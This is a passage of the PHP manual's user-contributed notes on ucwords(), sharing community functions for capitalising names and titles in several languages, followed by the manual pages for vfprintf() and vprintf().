    }elseif ($ilk_karakter=='Ü' or $ilk_karakter=='ü'){

      $ilk_karakter='Ü';

    }else{

      $ilk_karakter=strtoupper($ilk_karakter);

    }

    $digerleri=mb_substr($kelime_duz,1,$kelime_uzunluk,'UTF-8');
    $sonuc.=$ilk_karakter.kucuk_yap($digerleri).' ';

  }

  $son=trim(str_replace('  ', ' ', $sonuc));
  return $son;

}

function kucuk_yap($gelen){

  $gelen=str_replace('Ç', 'ç', $gelen);
  $gelen=str_replace('Ğ', 'ğ', $gelen);
  $gelen=str_replace('I', 'ı', $gelen);
  $gelen=str_replace('İ', 'i', $gelen);
  $gelen=str_replace('Ö', 'ö', $gelen);
  $gelen=str_replace('Ş', 'ş', $gelen);
  $gelen=str_replace('Ü', 'ü', $gelen);
  $gelen=strtolower($gelen);

  return $gelen;
}

echo ucwords_tr('ŞEKardi ŞEMŞİYE ĞELENÖ ÖMER'); // Şekardi Şemşiye Ğelenö Ömer
echo ucwords_tr('şEKER iMSAK şÖLEN'); // Şeker İmsak Şölen
Philippe 30-Sep-2011 02:54
Because I needed a function that did the same as the function proper in Excel I created this little function :

<?php
function proper($string){

    $string = strtolower($string);

    $lettersAndNumbers = 'abcdefghijklmnopqrstuvwxyz01234565789';

    $string[0] = strtoupper($string[0]);

    for ($index = 1;$index < strlen($string);$index++){
      if (strpos($lettersAndNumbers, $string[$index]) === false){
        if ($index +1 < strlen($string)){
          $string[$index+1] = strtoupper($string[$index+1]);
          $index++;
        }
      }
    }

    return($string);

  }
?>
gabe at fijiwebdesign dot com 24-Aug-2011 08:49
Another ucwords function with custom separator.

<?php
function ucwords_custom($str, $sep)
{
    return preg_replace_callback('/' . preg_quote($sep) . './i', create_function(
        '$match',
        'return strtoupper($match[0][1]);'
    ), $str);
}
?>

or simpler with PHP5.3

<?php
function ucwords_custom2($str, $sep = ' ')
{
    return preg_replace_callback('/' . preg_quote($sep) . './i', function($match) {
        return strtoupper($match[0][1]);
    }, $str);
}
?>
Sebstian Espinosa 05-Aug-2011 01:16
Is more simple to use str_replace to use ucwords without using space as separator like:

<?php

function ucwordsEx($str, $separator){

      $str = str_replace($separator, " ", $str);
      $str = ucwords(strtolower($str));
      $str = str_replace(" ", $separator, $str);
      return $str;

}
/*
Example:
*/
echo ucwordsEx("HELLO-my-NAME-iS-maNolO", "-");
/*
Prints: "Hello My Name Is Manolo"
*/

?>
jmarois at ca dot ibm dot com 12-Feb-2010 05:51
My quick and dirty ucname (Upper Case Name) function.

<?php
//FUNCTION

function ucname($string) {
    $string =ucwords(strtolower($string));

    foreach (array('-', '\'') as $delimiter) {
      if (strpos($string, $delimiter)!==false) {
        $string =implode($delimiter, array_map('ucfirst', explode($delimiter, $string)));
      }
    }
    return $string;
}
?>
<?php
//TEST

$names =array(
  'JEAN-LUC PICARD',
  'MILES O\'BRIEN',
  'WILLIAM RIKER',
  'geordi la forge',
  'bEvErly CRuSHeR'
);
foreach ($names as $name) { print ucname("{$name}\n"); }

//PRINTS:
/*
Jean-Luc Picard
Miles O'Brien
William Riker
Geordi La Forge
Beverly Crusher
*/
?>

You can add more delimiters in the for-each loop array if you want to handle more characters.
Kovik 27-Dec-2009 04:37
ucwords() only uses whitespace as a delimiter. I found that I needed the ability to use other delimiters for denoting words.

Example: Transforming "content-type" into "Content-Type".

<?php
/**
 * Capitalize all words
 * @param string Data to capitalize
 * @param string Word delimiters
 * @return string Capitalized words
 */
function capitalizeWords($words, $charList = null) {
    // Use ucwords if no delimiters are given
    if (!isset($charList)) {
        return ucwords($words);
    }

    // Go through all characters
    $capitalizeNext = true;

    for ($i = 0, $max = strlen($words); $i < $max; $i++) {
        if (strpos($charList, $words[$i]) !== false) {
            $capitalizeNext = true;
        } else if ($capitalizeNext) {
            $capitalizeNext = false;
            $words[$i] = strtoupper($words[$i]);
        }
    }

    return $words;
}
?>

Testing:
<?php
echo capitalizeWords('this is a test');  // This Is A Test
echo capitalizeWords('this-is-a-test');  // This-is-a-test
echo capitalizeWords('this is a test', ' ');  // This Is A Test
echo capitalizeWords('this-is-a-test', '-');  // This-Is-A-Test
echo capitalizeWords('this-is a-test', ' ');  // This-is A-test
echo capitalizeWords('this-is a-test', '-');  // This-Is a-Test
echo capitalizeWords('this-is a-test', ' -');  // This-Is A-Test
?>
robert at broofa dot com 08-Jul-2009 03:42
Some recipes for switching between underscore and camelcase naming:

<?php
// underscored to upper-camelcase
// e.g. "this_method_name" -> "ThisMethodName"
preg_replace('/(?:^|_)(.?)/e',"strtoupper('$1')",$string);

// underscored to lower-camelcase
// e.g. "this_method_name" -> "thisMethodName"
preg_replace('/_(.?)/e',"strtoupper('$1')",$string);

// camelcase (lower or upper) to underscored
// e.g. "thisMethodName" -> "this_method_name"
// e.g. "ThisMethodName" -> "this_method_name"
strtolower(preg_replace('/([^A-Z])([A-Z])/', "$1_$2", $string));
?>

Of course these aren't 100% symmetric.  For example...
  * this_is_a_string -> ThisIsAString -> this_is_astring
  * GetURLForString -> get_urlfor_string -> GetUrlforString
Greg S 26-Apr-2009 06:16
I did the same thing as Catalin, but for French names.

Here's what I'm doing :

For each word (not considering the single-quote as a word boundary character) :
- Put the word in lower case
- If the word is "de", return, else, put the first letter in upper-case
- See if the second character of the word is a single-quote
- Yes ? Put the next char in upper case
- And if the char before the single quote is D, put it back to lower case (-> d)

This complies with the French rules for capitalization in names.

Sample results :
-d'Afoo Bar
-de Foo Bar
-O'Foo Bar
-Foo'bar

<?php
function my_ucwords($s) {
        $s = preg_replace_callback("/(\b[\w|']+\b)/s", fixcase_callback, $s);

        return $s;

    }

    function fixcase_callback($word) {

        $word = $word[1];

        $word = strtolower($word);

        if($word == "de")
            return $word;

        $word = ucfirst($word);

        if(substr($word,1,1) == "'") {
            if(substr($word,0,1) == "D") {
                $word = strtolower($word);
            }
            $next = substr($word,2,1);
            $next = strtoupper($next);
            $word = substr_replace($word, $next, 2, 1);
        }

        return $word;
    }
?>
vista_ at live dot se 17-Nov-2008 11:02
<?php
      if(!function_exists('mb_ucwords'))
      {
            function mb_ucwords($str)
            {
                  return mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
            }
      }
?>
dyer85 at gmail dot com 07-Nov-2008 12:33
When attempting to adopt a solution similar to Catalin's post (20-Oct-2008 10:14), I ran into some additional problems. Just a heads up, Catalin's wasn't capitalizing correctly when a name like "O'reilley" appeared at the start of the string or a new line. Also, it doesn't account for locale-sensitivity.

I also needed to recognize additional Irish surnames, such as "McArthur/MacArthur" or "FitzGerald". I also didn't want to misinterpret French as an Irish surname, so, "S'il vous plaît" shouldn't result in the "i" in "S'il" capitalized.

I modified Catalin's version, but it's still not perfect. This version happened to suit my needs, so be sure to assess your own needs before using.

<?php

function my_ucwords($str)
{
    $str = ucwords($str);

    // Not perfect
    return preg_replace(
        '/
            (?: ^ | \\b )         # assertion: beginning of string or a word boundary
            ( O\' | Ma?c | Fitz)  # attempt to match Irish surnames
            ( [^\W\d_] )          # match next char; we exclude digits and _ from \w
        /xe',
        "'\$1' . strtoupper('\$2')",
        $str);
}

?>
strazds at gmail dot com 01-Nov-2008 11:45
ucwords for UTF-8 strings:

<?php
function mb_ucwords($str) {
    $str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
    return ($str);
}
?>
Catalin 20-Oct-2008 04:14
I have looked for a work-around that would upper-case letter after an ' too.

For example,

ucword("o'lunney's");

would output "O'lunney's" and I wanted it to output "O'Lunney's".

Here is my function:

<?php
function my_ucwords($string) {
        $string = ucwords(strtolower($string));
        $string = preg_replace_callback("/( [ a-zA-Z]{1}')([a-zA-Z0-9]{1})/s",create_function('$matches','return $matches[1].strtoupper($matches[2]);'),$string);
        return $string;
}
?>

Hope it helps someone.
Alex 27-Aug-2008 06:43
A modified sentenceNormalizer by gregomm

Features:
1- Removes duplicated question marks, exclamations and periods
2- Capitalize first letter of a sentence.
3- Split sentences not only with "." but also with "?" and "!"
4- Puts a white space at the end of each sentence
5- Retains newlines

--removed from orginal function--
undestand the meaning of "¡" and "¿" in languages like spanish.
undestand the htmlentitity version of this simbols.
--removed from orginal function--

<?php
function sentenceNormalizer($sentence_split) {
    $sentence_split = preg_replace(array('/[!]+/','/[?]+/','/[.]+/'),
                                   array('!','?','.'),$sentence_split);

    $textbad = preg_split("/(\!|\.|\?|\n)/", $sentence_split,-1,PREG_SPLIT_DELIM_CAPTURE);
    $newtext = array();
    $count = sizeof($textbad);

    foreach($textbad as $key => $string) {
        if (!empty($string)) {
            $text = trim($string, ' ');
            $size = strlen($text);

            if ($size > 1){
                $newtext[] = ucfirst(strtolower($text));
            }
                elseif ($size == 1) {
                    $newtext[] = ($text == "\n") ? $text : $text . ' ';
                }
        }
    }

    return implode($newtext);
}
?>
majd87 at gmail dot com 06-Aug-2008 03:58
I modified Q1712's code (below) to use regular expressions
instead of characters to properly capitalize words that fall
directly after an unwanted character. See his post for details.

This version allows me to use it around html elements, etc.

<?php
    function my_ucwords($string){

        $invalid_characters = array('"',
                                    '\(',
                                    '\[',
                                    '\/',
                                    '<.*?>',
                                    '<\/.*?>');

        foreach($invalid_characters as $regex){
            $string = preg_replace('/('.$regex.')/','$1 ',$string);
        }

        $string=ucwords($string);

        foreach($invalid_characters as $regex){
            $string = preg_replace('/('.$regex.') /','$1',$string);
        }

        return $string;
    }
?>

Moreover, to get a proper title case, i combine it with this function:

This Function is obtained from:
http://codesnippets.joyent.com/posts/show/716

<?php
    function title_case($title) {
        $smallwordsarray = array(
            'of','a','the','and','an','or','nor','but','is','if','then',
'else','when',
            'at','from','by','on','off','for','in','out',
'over','to','into','with'
        );

        $words = explode(' ', $title);
        foreach ($words as $key => $word)
        {
            if ($key == 0 or !in_array($word, $smallwordsarray))
            $words[$key] = $this->my_ucwords(strtolower($word));
        }

        $newtitle = implode(' ', $words);
        return $newtitle;
    }
?>
Hope you find it useful.
gregomm at gmail dot com 23-May-2008 09:38
An improved of ucsentence. In fact its a function to avoid ugly data entry. It's based on code taken from this page. Can be inproved for better performance, of course...

Features:
1- removes duplicated question marks, an exclamations
2- Capitalize first letter of a sentence.
3- split sentences not only with "." but also with "?" and "!"
4- Puts a white space at the begining of each sentence
5- undestand the meaning of "¡" and "¿" in languages like spanish.
6- undestand the htmlentitity version of this simbols.

    function sentenceNormalizer( $sentence_split ) {

        $sentence_split = preg_replace("/[!]+/","!",$sentence_split);
        $sentence_split = preg_replace("/[¡]+/","¡",$sentence_split);
        $sentence_split = preg_replace("/[?]+/","?",$sentence_split);
        $sentence_split = preg_replace("/[¿]+/","¿",$sentence_split);

        $textbad = preg_split("/(\<[a-zA-Z0-9-]*\>".
"\!(\s)?|\.(\s)?|\?(\s)?|¿(\s)?|¡(\s)?".
"|&iquest;(\s)?|&iexcl;(\s)?)/",
         $sentence_split,-1,PREG_SPLIT_DELIM_CAPTURE);
        $newtext = array();
        $count = sizeof($textbad);

        $prevStr ="";

        for ($i = 0; $i < $count; $i++){

            $text = trim($textbad[$i]);
            $size = strlen($text);

            if ($size>1){

                $sentencegood=ucfirst(strtolower($text));

                if ($i>0 && $prevStr != '¿' && $prevStr != '¡' && $prevStr !="&iquest;" && $prevStr !="&iexcl;"){
                    $sentencegood =" ".$sentencegood;
                }
                $newtext[] = $sentencegood;
                $prevStr =$text;

            }elseif($size==1 ){

                if ($i>0 && ($text == '¿' || $text == '¡' || $prevStr =="&iquest;" || $prevStr =="&iexcl;") ){
                    $newtext[] =" ".$text;
                }else{
                    $newtext[] =$text;
                }
                $prevStr =$text;
            }

        }

        $textgood = implode($newtext);
        return $textgood;
    }
NoName 12-Mar-2008 09:03
For strings with diactrical marks (umlauts, etc.), consider mb_convert_case.
blake at goinoutwest dot com 30-Jan-2008 02:14
Relating to the mb_ucwords() function posted by Anonymous.  In order for this to actually be multi-byte compliant, you would also need to use mb_substr() and mb_strlen() instead of substr and strlen respectively.

Here it is corrected and extended even further to allow multiple word separators and a list of exceptions to correct after title casing. It's a bit tedious and inelegant, but things frequently are when dealing with human languages.

function mb_ucwords($str) {
    $exceptions = array();
    $exceptions['Hp'] = 'HP';
    $exceptions['Ibm'] = 'IBM';
    $exceptions['Gb'] = 'GB';
    $exceptions['Mb'] = 'MB';
    $exceptions['Cd'] = 'CD';
    $exceptions['Dvd'] = 'DVD';
    $exceptions['Usb'] = 'USB';
    $exceptions['Mm'] = 'mm';
    $exceptions['Cm'] = 'cm';
    //    etc.

    $separator = array(" ","-","+");

    $str = mb_strtolower(trim($str));
    foreach($separator as $s){
        $word = explode($s, $str);

        $return = "";
        foreach ($word as $val){
            $return .= $s . mb_strtoupper($val{0}) . mb_substr($val,1,mb_strlen($val)-1);
        }
        $str = mb_substr($return, 1);
    }

    foreach($exceptions as $find=>$replace){
        if (mb_strpos($return, $find) !== false){
            $return = str_replace($find, $replace, $return);
        }
    }
    return mb_substr($return, 1);
}
Anonymous 16-Dec-2007 12:09
Function to do what ucwords is intended to do - just correctly also for international char sets:

function mb_ucwords($s)
{
    $s = mb_strtolower(trim($s));
    $w = explode(" ", $s);

    $return = "";
    foreach ($w as $val)
    {
        $return .= " " . mb_strtoupper($val{0}) . substr($val,1,strlen($val)-1);
    }
    return trim($return);
}

Building on an earlier snippet here.
kendsnyder at gmail dot com 30-Jul-2007 10:02
Here is a function to capitalize a last name, accounting for hyphens, apostrophes, "Mc" and "Mac":

<?php
function CapitalizeLastName($name) {
    $name = strtolower($name);
    $name = join("'", array_map('ucwords', explode("'", $name)));
    $name = join("-", array_map('ucwords', explode("-", $name)));
    $name = join("Mac", array_map('ucwords', explode("Mac", $name)));
    $name = join("Mc", array_map('ucwords', explode("Mc", $name)));
    return $name;
}
?>

I speed tested it against functions that used preg_replace() with an "e" modifier, preg_replace_callback(), and a character-by-character parsing.  Unexpectedly, this function using join(), array_map() and explode() was fastest.
Q1712 at online dot ms 05-May-2007 09:49
ucwords() only excepts whitespace in front of a word, although some chars like '"' or '(' normally have no space between them and the following word:
<?php
$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo ucwords(strtolower($title));
?>
prints: Elvis "the King" Presley - (let Me Be Your) Teddy Bear

To avoid this i use a small function adding and deleting blanks behind these chars, and using ucwords() in between:

<?php
function my_ucwords($string)
  {
    $noletters='"([/'; //add more if u need to
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i], $noletters[$i].' ', $string);
    $string=ucwords($string);
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i].' ', $noletters[$i], $string);
    return $string;
  }

$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo my_ucwords(strtolower($title));
?>

prints: Elvis "The King" Presley - (Let Me Be Your) Teddy Bear
barnaby ritchley at exeye dot co dot uk 03-Jan-2007 05:53
A very easy way to convert to title case:

function titleCase($string)
     {
     return ucwords(strtolower($string));
     }

$myString = "SOME TEXT";

echo titleCase($myString);

//will print, "My Text"
max at phoenixweb dot it 15-Sep-2006 04:35
I have rewritten a UCSMART function adding a feature to translate special ASCII char (windows occidental ascii charset):

You can edit/add/delete char by use the first two string (be carefull to preserve the order of the string).

Enjoy!

<?
$ASCII_SPC_MIN = "àáâãäåæçèéêëìíîïðñòóôõöùúûüýÿžš";
$ASCII_SPC_MAX = "ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖÙÚÛÜÝŸŽŠ";

function str2upper($text) {
    global $ASCII_SPC_MIN,$ASCII_SPC_MAX;
    return strtr(strtoupper($text),$ASCII_SPC_MIN,$ASCII_SPC_MAX);
}
function str2lower($text) {
    global $ASCII_SPC_MIN,$ASCII_SPC_MAX;
    return strtr(strtolower($text),$ASCII_SPC_MAX,$ASCII_SPC_MIN);
}
function ucsmart($text) {
    global $ASCII_SPC_MIN;
    return preg_replace(
        '/([^a-z'.$ASCII_SPC_MIN.']|^)([a-z'.$ASCII_SPC_MIN.'])/e',
        '"$1".str2upper("$2")',
        str2lower($text)
    );
}
?>

Massimiliano Cuttini
marco at hotelsandgo dot com 09-Sep-2006 06:35
ucwords that works also with apices: '
for example: "aquila d'abruzzo" became "Aquila d'Abruzzo"
The second part after the // comment can removed! Is optimized for italian language (leave lowercase articles, prepositions, conjunctions) but easily changeable. Notice che "'s"!! for example "hotel 2000's" becames "Hotel 2000's".

    function my_ucwords($s)
        {
        $a=strtolower($s);
        $s=ucfirst($a);
        for($x=0; $x<strlen($s)-1; $x++)
            if(!ctype_alpha($s[$x])) $s[$x+1]=strtoupper($s[$x+1]);

        //Lascia minuscoli articoli, preposizioni, congiunzioni
        $minuscole=array("il", "lo", "la", "i", "gli", "le",                //ARTICOLI DETERMINATIVI
                 "un", "uno", "una",                        //ARTICOLI INDETERMINATIVI
                 "e",  "d", "l", "s", "un",                    //CONGIUNZIONI e CONTRATTI
                 "di", "a", "da", "in", "con", "su", "per", "tra", "fra",    //PREPOSIZIONI SEMPLICI
                 "del", "dello", "della", "dei", "degli", "delle",        //PREPOSIZIONI ARTICOLATE
                 "a", "al", "allo", "alla", "ai", "agli", "alle",
                 "da", "dal", "dallo", "dalla", "dai", "dagli", "dalle",
                 "in", "nel", "nello", "nella", "nei", "negli", "nelle",
                 "con", "col", "collo", "colla", "coi", "cogli", "colle",
                 "su", "sul", "sullo", "sulla", "sui", "sugli", "sulle",
                 "per", "pel", "pei");

        foreach($minuscole as $value)
            {
            $pos=strpos($a, $value);
            if( ( $pos>0 && $pos<strlen($s)-1 && !ctype_alpha($a[$pos-1]) && !ctype_alpha($a[$pos+1]) )    //CARATTERE IN MEZZO
            ||  ( $pos==strlen($s)-1 && !ctype_alpha($a[$pos-1]) ) )                    //CASO PARTICOLARE: carattere in fondo. x es: "hotel 2000's"
                $s[$pos]=strtolower($s[$pos]);
            }

        return $s;
        }

    function my_ucwords_essential($s)
        {
        $a=strtolower($s);
        $s=ucfirst($a);
        for($x=0; $x<strlen($s)-1; $x++)
            if(!ctype_alpha($s[$x])) $s[$x+1]=strtoupper($s[$x+1]);

        return $s;
        }

Can be rewritten better, I Know
philip at fcknet dot dk 08-Aug-2006 02:11
Before noticing this function I made the following function (that does the same as ucwords):

<?php
function firstUpper($string)
{
    $string = str_replace(array("Æ","Ø","Å"), array("æ","ø","å"), strtolower($string));
    $ord = explode(" ", $string);

    $return = "";
    foreach ($ord as $val)
    {

        $return .= " " . str_replace(array("æ","ø","å"), array("Æ","Ø","Å"), strtoupper($val{0})) . substr($val,1,strlen($val)-1);
    }
    return $return;
}
?>

It also converts Danish letters without using the setlocale function.
starmonkey [at] evolove [dot] net 05-Aug-2006 05:17
Simple helper function to walk through a nested array of strings and upper case them:

<?php
/**
 * Helper function to convert an array of strings to upper case words
 */
function _capitalize($input) {
    if(is_array($input)) {
        // recurse through array elements (using a reference)
        foreach($input as &$value) {
            $value = _capitalize($value);
        }
        return $input;
    } elseif(is_string($input)) {
        // process this string
        return ucwords($input);
    } else {
        // all other data types, leave alone
        return $input;
    }
}
?>
Ismet Togay 31-May-2006 02:07
Response to arif:

We do not need that long functions. In order to make ucwords() worked properly in Turkish words that contain speacial characters, we can use the following command in our php codes:

setlocale(LC_ALL, 'tr_TR');

This will set locale to Turkish.
lev at phpfox dot com 06-May-2006 10:44
In the function ucsmart() posted by ieure at php dot net on 04-Dec-2005 11:57, I found a similar problem in this function to what he found in igua's.

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

"igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case."

Actually, it did end up changing the content for me (php 5.0.4) in the way that this function escapes a single quotation (apostrophe) in the MIDDLE of a word.

For example:

who's online?

Became:

Who\'s Online?

The fix is simple however, and merely requires fine-tuning the regular expression:

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z\']|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

(note: while previewing this note before adding it, I am noticing php's website is not correctly displaying the change I made as I wrote it. After the first a-z in the expression, the single quotation should be escaped... If it isn't you will get a parse error! And apoligies if my text here is colored as php code; not my fault!)

This will not escape a single quotation mark which occurs in the middle of a word... Though, you may find that might need to add other characters inside the regular expression if you use other special characters inside your words and if you get funky output.

It's a great expression though! Simple, yet very powerful. Kudos!
24-Dec-2005 04:34
"ieure at php dot net", your idea is pure poetry!

The function below will standardize the capitalization on people's names and the titles of reports and essays . You may need to adapt the lists in "$all_uppercase" and "$all_lowercase" to suit the data that you are working with.

function my_ucwords($str, $is_name=false) {
   // exceptions to standard case conversion
   if ($is_name) {
       $all_uppercase = '';
       $all_lowercase = 'De La|De Las|Der|Van De|Van Der|Vit De|Von|Or|And';
   } else {
       // addresses, essay titles ... and anything else
       $all_uppercase = 'Po|Rr|Se|Sw|Ne|Nw';
       $all_lowercase = 'A|And|As|By|In|Of|Or|To';
   }
   $prefixes = 'Mc';
   $suffixes = "'S";

   // captialize all first letters
   $str = preg_replace('/\\b(\\w)/e', 'strtoupper("$1")', strtolower(trim($str)));

   if ($all_uppercase) {
       // capitalize acronymns and initialisms e.g. PHP
       $str = preg_replace("/\\b($all_uppercase)\\b/e", 'strtoupper("$1")', $str);
   }
   if ($all_lowercase) {
       // decapitalize short words e.g. and
       if ($is_name) {
           // all occurences will be changed to lowercase
           $str = preg_replace("/\\b($all_lowercase)\\b/e", 'strtolower("$1")', $str);
       } else {
           // first and last word will not be changed to lower case (i.e. titles)
           $str = preg_replace("/(?<=\\W)($all_lowercase)(?=\\W)/e", 'strtolower("$1")', $str);
       }
   }
   if ($prefixes) {
       // capitalize letter after certain name prefixes e.g 'Mc'
       $str = preg_replace("/\\b($prefixes)(\\w)/e", '"$1".strtoupper("$2")', $str);
   }
   if ($suffixes) {
       // decapitalize certain word suffixes e.g. 's
       $str = preg_replace("/(\\w)($suffixes)\\b/e", '"$1".strtolower("$2")', $str);
   }
   return $str;
}

// A name example
print my_ucwords("MARIE-LOU VAN DER PLANCK-ST.JOHN", true);
// Output: Marie-Lou van der Planc-St.John

// A title example
print my_ucwords("to be or not to be");
// Output: "To Be or Not to Be"
ieure at php dot net 04-Dec-2005 11:57
Whoa guys, tone things down a bit here. No need to loop and implode. This is a one-line solution:

function ucsmart($text)
{
    return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                        strtolower($text));
}

igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case.
gothicbunny at hotmail dot com 09-Nov-2005 01:16
Here is a simple, yet winded, opposite to ucwords.

<?php
/*
    # lcwords v1.000
    # Convert the first word character to lowercase (opposite to ucwords)
    # input string
    # return string
*/
function lcwords($string)
{
    /* Some temporary variables */
    #loop variable
    $a = 0;
    #store all words in this array to be imploded and returned
    $string_new = array();
    #create array of all words
    $string_exp = explode(" ",$string);
    foreach($string_exp as $astring)
    {
        for($a=0;$a<strlen($astring);$a++)
        {
            #check that the character we are at {pos $a} is a word
            #i.e. if the word was !A the code would fail at !
            #then loop to the next character and succeed at A
            #check at character position $a
            if(preg_match("'\w'",$astring[$a]))
            {
                $astring[$a] = strtolower($astring[$a]);
                #end the loop
                break;
            }
        }
        $string_new[] = $astring;
    }
    #recreate the string from array components using space deliminator
    return implode(" ",$string_new);
}
?>

Of course a simplier way would be to use a callback, but I like working with long code :)
21-Oct-2005 01:14
Here's a  piece that allows you to use the contents of a directory..  capitalizes the words and make links.. this particular example splits file names at _ and only selects file with .htm extensions (thought you could use any extension and call it using  include()  or soom such)
ie my_file_name.htm will produce
<a href="my_file_name.htm">My File Name</a>

<?php
$path = "/home/path/to/your/directory";
   $mydir = dir($path);
   while(($file = $mydir->read()) !== false) {
     if(substr($file, -4)=='.htm'){
    $trans = array("_" => " ", ".htm" => ""); // creates the editing array
    $newlist = strtr($file, $trans); // edits using editing array
    echo "<a href=\"".$file."\">".ucwords($newlist)."</a><br>";
     }
    }
   ?>
radley25 at nospam dot spamcop dot net 05-Jul-2005 05:06
In response to joshuamallory at yahoo dot com:

Using CSS to fix a PHP fault is not the ideal way to solve a problem. CSS is browser dependent and can only be used when the data is presented in a web page. A better fix would be something like this:

<?php
function better_ucwords($string) {
   $string = ucwords($string);
   $string = preg_replace('#[\\/][a-z]#e', "strtoupper('$0')", $string);
   return $string;
}
?>
igua no-spam at coveruniverse dot com 08-Mar-2005 01:30
The code posted by neil doesn't fully do what is wanted. Try adding some more question marks at the end and it will return a not wanted string.

Below code will uppercase all your words regardless of the delimiter.

<?php
$text = "What?No 'delimiters',shit \"happens\" here.this solves all problems???";
preg_match_all('/[A-Za-z]+|[^A-Za-z]+/', $text, $data);
for ($i = 0; $i < count($data[0]); $i++) {
  $data[0][$i] = ucfirst($data[0][$i]);
}
$text = implode("", $data[0]);
print $text;
?>
joshuamallory at yahoo dot com 15-Nov-2004 05:08
If you want to format a string like...

<?php
    $string = "computer programming/repair";
    print ucwords($string);
?>

Output: Computer Programming/repair

Notice the word after the slash (Programming/repair) isn't capitalized. To fix this, use CSS...

<?php
    $string = "computer programming/repair";
    print '<p style="text-transform:capitalize">';
    print ucwords($string);
    print '<p>';
?>
babel - nospamplease - sympatico - ca 11-Feb-2004 05:26
Correction to the code of firewire at itsyourdomain dot com:

preg_replace_callback('/\b(\w)(\w+)?/',
   create_function('$a',
   'return strtoupper($a[1]) . ((sizeof($a) > 2 ) ?
       strtolower($a[2]) : "");'),
    'p.s.: hello.this is my string.');

Will work with punctuation as well as spaces.
deepdene at email dot com 10-Dec-2002 08:20
A function knowing about name case (i.e. caps on McDonald etc)

function name_case($name)
{
    $newname = strtoupper($name[0]);
    for ($i=1; $i < strlen($name); $i++)
    {
        $subed = substr($name, $i, 1);
        if (((ord($subed) > 64) && (ord($subed) < 123)) ||
            ((ord($subed) > 48) && (ord($subed) < 58)))
        {
            $word_check = substr($name, $i - 2, 2);
            if (!strcasecmp($word_check, 'Mc') || !strcasecmp($word_check, "O'"))
            {
                $newname .= strtoupper($subed);
            }
            else if ($break)
            {

                $newname .= strtoupper($subed);
            }
            else
            {
                $newname .= strtolower($subed);
            }
             $break=0;
        }
        else
        {
            // not a letter - a boundary
             $newname .= $subed;
            $break=1;
        }
    }
    return $newname;
}
19-Jan-2002 03:14
This seems to be what people want:

function uc_all($string) {
    $temp = preg_split('/(\W)/', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
    foreach ($temp as $key=>$word) {
        $temp[$key] = ucfirst(strtolower($word));
    }
    return join ('', $temp);
}

[ed note: fixed the code to be correct]
Julienc at psychologie-fr dot com 04-Nov-2001 04:06
Its still possible to clean a bit more the previous sample:

$string=strtolower($string); $break=true;
for ($i=0; $i < strlen($string); $i++) { $subed=$string[$i];
if (((ord($subed) > 64) && (ord($subed) < 123)) || ((ord($subed) > 48) && (ord($subed) < 58))) {
if ($break) { $string[$i] = strtoupper($subed); }
$break=false; } else { $break=true; }
}

- Julien
neil at no-spam-ents24 dot com 21-Mar-2001 02:10
The code posted above by Joerg Krause only works for a string which ends with one of the delimiters. A possible fix is:

<?php
$text = "What?No delimiters,shit happens here.this solves all problems.";
preg_match_all("/(\w+[,. ?])+/U", $text, $words);
preg_match("/(\w+)$/", $text, $lastword);
$words[0][] = $lastword;
foreach($words[0] as $part) $uwords[] = ucfirst($part);
$text = implode("", $uwords);
echo $text;
?>


Write a formatted string to a stream

  • « ucwords
  • vprintf »
  • PHP Manual
  • String Functions
  • Write a formatted string to a stream

vfprintf

(PHP 5)

vfprintf — Write a formatted string to a stream

Description

int vfprintf ( resource $handle , string $format , array $args )

Write a string produced according to format to the stream resource specified by handle.

Operates as fprintf() but accepts an array of arguments, rather than a variable number of arguments.

Parameters

handle

format

See sprintf() for a description of format.

args

Return Values

Returns the length of the outputted string.

Examples

Example #1 vfprintf(): zero-padded integers

<?php
if (!($fp = fopen('date.txt', 'w')))
    return;

vfprintf($fp, "%04d-%02d-%02d", array($year, $month, $day));
// will write the formatted ISO date to date.txt
?>

See Also

  • printf() - Output a formatted string
  • sprintf() - Return a formatted string
  • sscanf() - Parses input from a string according to a format
  • fscanf() - Parses input from a file according to a format
  • vsprintf() - Return a formatted string
  • number_format() - Format a number with grouped thousands

User Contributed Notes

There are no user contributed notes for this page.


Output a formatted string

  • « vfprintf
  • vsprintf »
  • PHP Manual
  • String Functions
  • Output a formatted string

vprintf

(PHP 4 >= 4.1.0, PHP 5)

vprintf — Output a formatted string

Description

int vprintf ( string $format , array $args )

Display array values as a formatted string according to format (which is described in the documentation for sprintf()).

Operates as printf() but accepts an array of arguments, rather than a variable number of arguments.

Parameters

format

See sprintf() for a description of format.

args

Return Values

Returns the length of the outputted string.

Examples

Example #1 vprintf(): zero-padded integers

<?php
vprintf("%04d-%02d-%02d", explode('-', '1988-8-1')); // 1988-08-01
?>

See Also

  • printf() - Output a formatted string
  • sprintf() - Return a formatted string
  • vsprintf() - Return a formatted string

User Contributed Notes

Chris 19-Oct-2012 02:49
Another way to display arrays is use an array_walk(). This can be useful inline echo/print where a foreach wouldn't work, e.g.

<?php
echo "These errors: ", (unset)array_walk($msgs, function($a) { echo "<p>$a</p>"; } ), "must be corrected.";
?>
taken from &#34;Php Phrasebook&#34; 16-Jun-2008 07:55
<?php
$string = 'The site runs on PHP '.phpversion();
preg_match('/php ((\d)\.\d\.\d+)/i',$string,$matches);
print_r($matches);
vprintf('Match: %s<br /> Version %s; Major:%d.',$matches);
?>

output:
Array ( [0] => PHP 5.2.5 [1] => 5.2.5 [2] => 5 )
Match: PHP 5.2.5 Version 5.2.5; Major:5.

For preg_match:

If matches  is provided, then it is filled with the results of search. $matches[0] will contain the text that matched the full pattern, $matches[1]  will have the text that matched the first captured parenthesized subpattern, and so on.
